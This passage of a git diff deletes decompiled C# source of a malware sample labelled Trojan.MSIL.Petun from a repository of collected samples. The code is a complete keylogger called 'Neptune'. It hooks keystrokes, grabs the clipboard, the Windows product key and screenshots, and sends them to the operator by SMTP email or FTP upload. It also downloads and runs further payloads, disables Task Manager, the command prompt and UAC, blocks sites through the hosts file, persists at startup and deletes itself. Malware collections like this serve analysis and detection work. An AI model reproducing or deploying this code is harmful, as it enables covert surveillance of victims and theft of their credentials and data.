Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.qDeyd ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.qDeyd ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - case 123: - case 124: - case 125: - case 126: - case (int) sbyte.MaxValue: - case 128: - case 129: - case 130: - case 131: - case 132: - case 133: - case 134: - case 135: - Left = "[F" + Conversions.ToString(checked (lParam.vkCode - 111)) + "]"; - break; - case 160: - case 161: - if (!Module1.oGUcd) - { - Left = " [qDeyd] "; - break; - } - Module1.qDeyd = true; - break; - case 162: - case 163: - Left = " [ctrl] "; - break; - case 164: - Left = " [alt] "; - break; - case 165: - Left = " [ralt] "; - break; - default: - Left = Conversions.ToString(lParam.vkCode); - if (Module1.qDeyd) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "~"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "{"; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "}"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "|"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "\""; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ":"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = "<"; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "?"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "+"; - } - else if (!Module1.qDeyd) - { - if (Operators.CompareString(Left, "192", false) == 0) - Left = "`"; - if (Operators.CompareString(Left, "219", false) == 0) - Left = "["; - if (Operators.CompareString(Left, "221", false) == 0) - Left = "]"; - if (Operators.CompareString(Left, "220", false) == 0) - Left = "\\"; - if (Operators.CompareString(Left, "222", false) == 0) - Left = "'"; - if (Operators.CompareString(Left, "186", false) == 0) - Left = ";"; - if (Operators.CompareString(Left, "188", false) == 0) - Left = ","; - if (Operators.CompareString(Left, "191", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "187", false) == 0) - Left = "="; - } - if (Operators.CompareString(Left, "107", false) == 0) - Left = "+"; - if (Operators.CompareString(Left, "107", false) == 0) - Left = "*"; - if (Operators.CompareString(Left, "111", false) == 0) - Left = "/"; - if (Operators.CompareString(Left, "44", false) == 0) - { - Left = " [SS] "; - break; - } - break; - } - } - } - else if (wParam == 257 | wParam == 261) - { - switch (lParam.vkCode) - { - case 160: - case 161: - if (!Module1.oGUcd) - Left = "[/qDeyd]"; - Module1.qDeyd = false; - break; - case 162: - case 163: - Left = "[/ctrl]"; - break; - case 164: - Left = "[/lalt]"; - break; - case 165: - Left = "[/ralt]"; - break; - } - } - Module1.GwnCM += Left; - if (Operators.CompareString(Left, "", false) == 0) - ; - num = Module1.CallNextHookEx((int) Module1.KeyboardHandle, Code, wParam, lParam); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num = Conversions.ToInteger(""); - ProjectData.ClearProjectError(); - } -label_130: - return num; - } - - [STAThread] - public static void Main() - { - if (!Module1.SDDate.Contains("SDDate+") && DateTime.Compare(DateAndTime.Today.Date, Conversions.ToDate(Module1.SDDate)) == 0) - Module1.cOUbsT(); - if (!Module1.Delay.Contains("DelOff+")) - Module1.CPoo(Conversions.ToInteger(Module1.Delay)); - string xeyEm = Module1.xeyEM; - Module1.xeyEM = Operators.CompareString(xeyEm, "AaD", false) != 0 ? (Operators.CompareString(xeyEm, "FaF", false) != 0 ? (Operators.CompareString(xeyEm, "MaD", false) != 0 ? (Operators.CompareString(xeyEm, "SaF", false) != 0 ? (Operators.CompareString(xeyEm, "WaF", false) != 0 ? Module1.xeyEM : Module1.cyLZHY) : Module1.eTneVi) : Module1.GgShlo) : Module1.emcIDE) : Module1.qHIdfoM; - Module1.bHQRPUFx = Module1.TripleDESDecode(Module1.bHQRPUFx, "System.Net"); - Module1.jyqbJLfI = Module1.TripleDESDecode(Module1.jyqbJLfI, "System.Net"); - Module1.kpEziv = Module1.TripleDESDecode(Module1.kpEziv, "System.Net"); - Module1.jDiHYy = Module1.TripleDESDecode(Module1.jDiHYy, "System.Net"); - Module1.EPguDEO = "\\" + Module1.EPguDEO; - if (Operators.CompareString(Application.StartupPath, Module1.xeyEM, false) != 0) - { - if (!Module1.Message[0].Contains("MsgFalse+")) - { - MessageBoxIcon messageBoxIcon = new MessageBoxIcon(); - MessageBoxIcon integer = (MessageBoxIcon) Conversions.ToInteger(Module1.Message[2]); - int num = (int) MessageBox.Show(Module1.Message[1], Module1.Message[0], MessageBoxButtons.OK, integer); - } - if (System.IO.File.Exists(Module1.xeyEM + Module1.EPguDEO)) - ProjectData.EndApp(); - if (Module1.FRMsg) - { - string str1; - if (Module1.JbYvRp) - { - ref string local1 = ref Module1.qsCMHj; - ref string local2 = ref Module1.bHQRPUFx; - ref string local3 = ref Module1.jyqbJLfI; - ref string local4 = ref Module1.MLmUlXbC; - string str2 = "[First Run] Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str2; - str1 = "Hello, this is an email letting you know that your keylogger has been freshly installed on the computer in the title. Thank you."; - ref string local6 = ref str1; - int integer = Conversions.ToInteger(Module1.GCNetPDM); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.GCNetPDM = Conversions.ToString(integer); - } - if (Module1.osumMb) - { - ref string local9 = ref Module1.uSNqs; - ref string local10 = ref Module1.ClwDyK; - ref string local11 = ref Module1.kpEziv; - ref string local12 = ref Module1.jDiHYy; - str1 = "Hello, this is a message letting you know that you keylogger has been installed on " + Environment.MachineName + "."; - ref string local13 = ref str1; - Module1.UpFTP(ref local9, ref local10, ref local11, ref local12, ref local13); - } - } - if (Module1.RJxdZZY) - { - if (System.IO.File.Exists(Path.GetTempPath() + Module1.mFQFCvO)) - System.IO.File.Delete(Path.GetTempPath() + Module1.mFQFCvO); - MyProject.Computer.Network.DownloadFile(Module1.SiYbTrV, Path.GetTempPath() + Module1.mFQFCvO); - if (System.IO.File.Exists(Path.GetTempPath() + Module1.mFQFCvO)) - { - if (Module1.IVgPOCC) - Process.Start(Path.GetTempPath() + Module1.mFQFCvO, Conversions.ToString(new ProcessStartInfo().WindowStyle == ProcessWindowStyle.Normal)); - else - Process.Start(Path.GetTempPath() + Module1.mFQFCvO); - } - } - if (Module1.qfcWolIeD) - { - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 8", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 1", AppWinStyle.Hide); - Interaction.Shell("RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 2", AppWinStyle.Hide); - } - if (Module1.puRYf == 2) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System ", "DisableTaskMgr", (object) "1"); - if (Module1.LQBtCf) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoRun", (object) "1"); - if (Module1.GfumXF) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", "NoViewContextMenu", (object) "1"); - if (Module1.ToCobD) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - if (Module1.koOozt) - Interaction.Shell("C:\\Windows\\System32\\ToCobD.exe /k %windir%\\System32\\reg.exe ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v EnableLUA /t REG_DWORD /d 0 /f", AppWinStyle.Hide); - if (Module1.GjyRlF) - MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System", "DisableCMD", (object) "2"); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, Module1.xeyEM + Module1.EPguDEO); - Process.Start(Module1.xeyEM + Module1.EPguDEO); - if (Operators.CompareString(Module1.FOaDW, "Melt", false) == 0) - Module1.cOUbsT(); - else if (Operators.CompareString(Module1.FOaDW, "Hide", false) == 0) - new FileInfo(Application.ExecutablePath).Attributes = FileAttributes.Hidden; - ProjectData.EndApp(); - } - if (new srIMO(Module1.rDwPx).IsRunning()) - Environment.Exit(0); - try - { - if (Operators.CompareString(Module1.bEIWT, "CurrentUser", false) == 0 | Operators.CompareString(Module1.bEIWT, "LocalMachine", false) == 0) - ROS.set_Runonstartup((string) null, ROS.StartupCheckCriteria.Either, true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - int num = (int) Interaction.MsgBox((object) ex.Message); - ProjectData.ClearProjectError(); - } - if (Module1.ZbTsI.Length != 4) - { - string[] strArray = Strings.Split(Module1.ZbTsI, ","); - int index = 0; - while (index < strArray.Length) - { - string str = strArray[index]; - System.IO.File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\drivers\\etc\\hosts", "\r\n127.0.0.1 " + str); - checked { ++index; } - } - } - Module1.JFQTiEFPY(); - switch (Module1.puRYf) - { - case 3: - new Thread(new ThreadStart(Module1.lgKLrx)).Start(); - break; - case 4: - zkSU.Running = true; - break; - } - if (Module1.SSTime) - new Thread(new ThreadStart(Module1.TimedSS)).Start(); - while (true) - { - try - { - do - { - Module1.WaitEx(); - } - while (Operators.CompareString(Module1.GwnCM, "", false) == 0 & Module1.NoEL); - string str = ""; - if (Module1.zFqwE) - str = str + "System Information - \r\n" + Module1.BZrR() + "\r\n"; - if (Module1.qskKm) - str = str + "Clipboard: " + Clipboard.GetText(); - Module1.GwnCM = str + Module1.GwnCM; - Module1.LastCheckedForegroundTitle = ""; - new Thread(new ThreadStart(Module1.yoUdd)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - - public static void TimedSS() - { - while (true) - { - do - { - Module1.WaitEx1(); - if (Module1.JbYvRp) - { - ref string local1 = ref Module1.qsCMHj; - ref string local2 = ref Module1.bHQRPUFx; - ref string local3 = ref Module1.jyqbJLfI; - ref string local4 = ref Module1.MLmUlXbC; - string str1 = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str1; - string str2 = "Attached is a screenshot of the victim in the title."; - ref string local6 = ref str2; - int integer = Conversions.ToInteger(Module1.GCNetPDM); - ref int local7 = ref integer; - bool flag = true; - ref bool local8 = ref flag; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.GCNetPDM = Conversions.ToString(integer); - } - } - while (!Module1.osumMb); - Module1.UpFTPImg(ref Module1.uSNqs, ref Module1.ClwDyK, ref Module1.kpEziv, ref Module1.jDiHYy); - } - } - - public static void WaitEx1() - { - Thread thread = new Thread(new ThreadStart(Module1.WT1)); - thread.Start(); - thread.Join(); - } - - public static void WT1() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.SSInt) * 60.0 * 1000.0)))); - - public static void yoUdd() - { - string gwnCm = Module1.GwnCM; - Module1.GwnCM = ""; - if (Module1.JbYvRp) - { - ref string local1 = ref Module1.qsCMHj; - ref string local2 = ref Module1.bHQRPUFx; - ref string local3 = ref Module1.jyqbJLfI; - ref string local4 = ref Module1.MLmUlXbC; - string str = "Neptune - " + Environment.MachineName + " - " + Environment.UserName; - ref string local5 = ref str; - ref string local6 = ref gwnCm; - int integer = Conversions.ToInteger(Module1.GCNetPDM); - ref int local7 = ref integer; - ref bool local8 = ref Module1.TakeScrns; - Module1.SendEmail(ref local1, ref local2, ref local3, ref local4, ref local5, ref local6, ref local7, ref local8); - Module1.GCNetPDM = Conversions.ToString(integer); - } - if (!Module1.osumMb) - return; - Module1.UpFTP(ref Module1.uSNqs, ref Module1.ClwDyK, ref Module1.kpEziv, ref Module1.jDiHYy, ref gwnCm); - } - - public static void WaitEx() - { - Thread thread = new Thread(new ThreadStart(Module1.WT)); - thread.Start(); - thread.Join(); - } - - public static void WT() => Thread.Sleep(checked ((int) Math.Round(unchecked (Conversions.ToDouble(Module1.IEQgvR) * 60.0 * 1000.0)))); - - private static void CPoo(int interval) - { - Stopwatch stopwatch = new Stopwatch(); - stopwatch.Start(); - while (stopwatch.ElapsedMilliseconds < (long) interval) - Application.DoEvents(); - stopwatch.Stop(); - } - - private static string GetWindowsKey() - { - object Instance = (object) (NewLateBinding.LateGet((object) Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", false), (System.Type) null, "GetValue", new object[1] - { - (object) "DigitalProductId" - }, (string[]) null, (System.Type[]) null, (bool[]) null) as byte[]); - if (Instance == null) - return "value was nothing!"; - char[] chArray = new char[29]; - int index = 28; - do - { - if (checked (index + 1) % 6 == 0) - { - chArray[index] = '-'; - } - else - { - object Operand = (object) 0; - int num = 66; - do - { - object Left = Operators.OrObject(Operators.LeftShiftObject(Operand, (object) 8), NewLateBinding.LateIndexGet(Instance, new object[1] - { - (object) num - }, (string[]) null)); - NewLateBinding.LateIndexSet(Instance, new object[2] - { - (object) num, - (object) Conversions.ToByte(Operators.IntDivideObject(Left, (object) 24)) - }, (string[]) null); - Operand = Operators.ModObject(Left, (object) 24); - chArray[index] = "BCDFGHJKMPQRTVWXY2346789"[Conversions.ToInteger(Operand)]; - checked { num += -1; } - } - while (num >= 52); - } - checked { index += -1; } - } - while (index >= 0); - return new string(chArray); - } - - public static string VFPV(object Bytes) - { - string str; - try - { - if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1073741824, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), (object) 1024), "#0.00") + " GB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1048576, false)) - { - str = Strings.Format(Operators.DivideObject(Operators.DivideObject(Bytes, (object) 1024), (object) 1024), "#0.00") + " MB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectGreaterEqual(Bytes, (object) 1024, false)) - { - str = Strings.Format(Operators.DivideObject(Bytes, (object) 1024), "#0.00") + " KB"; - goto label_10; - } - else if (Operators.ConditionalCompareObjectLess(Bytes, (object) 1024, false)) - { - str = Conversions.ToString(Operators.ConcatenateObject(Conversion.Fix(RuntimeHelpers.GetObjectValue(Bytes)), (object) " Bytes")); - goto label_10; - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = "0 Bytes"; - ProjectData.ClearProjectError(); - goto label_10; - } - return "0 Bytes"; -label_10: - return str; - } - - public static string BZrR() => "Machine Name: " + Environment.MachineName + "\r\n" + "Current User: " + Environment.UserName + "\r\n" + "Operating System: " + Module1.GenerateOperatingSystem() + "\r\n" + "Windows Key: " + Module1.GetWindowsKey() + "\r\n" + "Available Physical Memory: " + Module1.VFPV((object) MyProject.Computer.Info.AvailablePhysicalMemory.ToString()) + "\r\n" + "Available Virtual Memory: " + Module1.VFPV((object) MyProject.Computer.Info.AvailableVirtualMemory.ToString()) + "\r\n" + "System Directory: " + Environment.SystemDirectory + "\r\n" + "Local Time: " + DateAndTime.Now.ToString(); - - public static string GenerateOperatingSystem() - { - OperatingSystem osVersion = Environment.OSVersion; - string operatingSystem = "UN"; - switch (osVersion.Platform) - { - case PlatformID.Win32Windows: - switch (osVersion.Version.Minor) - { - case 0: - operatingSystem = "95"; - break; - case 10: - operatingSystem = "98"; - break; - case 90: - operatingSystem = "ME"; - break; - } - break; - case PlatformID.Win32NT: - switch (osVersion.Version.Major) - { - case 3: - operatingSystem = "NT"; - break; - case 4: - operatingSystem = "NT"; - break; - case 5: - if (osVersion.Version.Minor == 0) - { - operatingSystem = "2K"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "XP"; - break; - } - if (osVersion.Version.Minor == 2) - { - operatingSystem = "2K3"; - break; - } - break; - case 6: - operatingSystem = "VS"; - if (osVersion.Version.Minor == 0) - { - operatingSystem = "VS"; - break; - } - if (osVersion.Version.Minor == 1) - { - operatingSystem = "W7"; - break; - } - break; - } - break; - } - return operatingSystem; - } - - public static void lgKLrx() - { -label_0: - Module1.CPoo(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.CPoo(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void cOUbsT() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string qsCMHj, - ref string Dir, - ref string bHQRPUFx, - ref string jyqbJLfI, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + qsCMHj + Dir + str2, bHQRPUFx, jyqbJLfI); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + qsCMHj + Dir + str2 + ".gif", bHQRPUFx, jyqbJLfI); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string UpFTPImg( - ref string Host, - ref string Dir, - ref string Username, - ref string Password) - { - string str1; - try - { - string str2 = "\\" + Module1.LT; - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + Host + Dir + str2 + ".gif", Username, Password); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port, - ref bool TakePic = false) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (TakePic) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct dlxatZ - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum zxfUoe - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - VSoLjb = 35, // 0x00000023 - HQoiMO = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - xHHGLh = 45, // 0x0000002D - xkLhgJpIt = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - xbqJdwqgM = 162, // 0x000000A2 - BRUXPnDvf = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.dlxatZ lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyApplication.cs deleted file mode 100644 index d8caf19d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: SA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 84D7D68B-6F91-4E8D-937C-90D0FAA28CAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyComputer.cs deleted file mode 100644 index cbd7ebd9..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-e076b49b169714ec3164f22bfabe54e2975687dc1e152420c8cb3c4f909a7d13/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: SA, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 84D7D68B-6F91-4E8D-937C-90D0FAA28CAE -// Assembly location: 